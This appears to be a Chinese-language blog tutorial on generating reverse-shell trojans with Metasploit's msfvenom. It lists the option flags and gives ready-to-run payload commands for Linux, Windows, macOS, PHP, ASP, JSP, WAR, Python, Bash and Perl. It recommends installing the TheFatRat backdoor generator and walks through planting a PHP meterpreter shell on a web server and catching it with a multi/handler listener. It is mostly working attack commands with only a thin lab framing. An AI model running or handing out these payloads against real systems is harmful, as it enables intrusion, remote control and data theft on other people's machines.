参数说明:
-p, --payload < payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用& #039;-& #039;或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled < length> 为payload预先指定一个NOP滑动长度
-f, --format < format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, --space < length> 设定有效攻击荷载的最大长度
-b, --bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, --iterations < count> 指定payload的编码次数
-c, --add-code < path> 指定一个附加的win32 shellcode文件
-x, --template < path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, --out < path> 保存payload
-v, --var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, --help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
不同系统下生成木马的命令(在对方的操作系统中生成木马)-p后面就是payload
Linux
#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
#msfvenom -p
windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
#msfvenom -p
osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP
#msfvenom -p
php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
#msfvenom -p
windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
#msfvenom -p
java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
#msfvenom -p
java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
Scripting Payloads
Python
#msfvenom -p
cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
#msfvenom -p
cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
#msfvenom -p
cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
#msfvenom -p
linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
#msfvenom -p
windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
#msfvenom -p
osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
推荐一个便捷化payload生成https://github.com/Screetsec/TheFatRat
git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat
chmod +x setup.sh && ./setup.sh
利用方法:
0x01
1.我们生成一个PHP木马,kali攻击机ip为192.168.84.132 定义的端口为4444
#msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.84.132 LPORT=4444 -f raw > shell.php
2.把生成的shell.php上传到测试机网站目录中,确保shell.php能被访问。
0x02
首先进入msf控制台
#msfconsole
1.进入use exploit/multi/handler
#
use exploit/multi/handler
2.设置
Payload ---
set PAYLOAD <Payload name>(ps:本次使用的是php的payload)
#set PAYLOAD php/meterpreter_reverse_tcp
3.设置ip地址 ---
set LHOST <LHOST value>
#set LHOST 192.168.84.132
4.设置端口号 --- set LPORT <LPORT value>
#set LPORT 4444
5.开启监听
#exploit
0x03
当客户机执行木马后,得到一个meterpreter,我们就可以进行的操作。
在开启监听后,访问测试机中shell.php地址。等待终端出现meterpreter >,成功!
总结:
msfvenom可以生成不同系统的木马,原理都一样,在攻击机生成一个木马后开启监听,测试机打开运行木马即可。
监听里设置Payload是跟生成木马代码里的Payload一样的,在上方生成木马代码中,Payload部分已经用下划线表示。
如果有哪里不对需要更正的请指出,谢谢。
参考资料:
Kali-利用metasploit中的exploit/multi/handler进行攻击
msfvenom生成各类Payload命令
TheFatRat:Msfvenom傻瓜化后门生成工具
使用msfvenom生成木马用于监听别人的操作
发表评论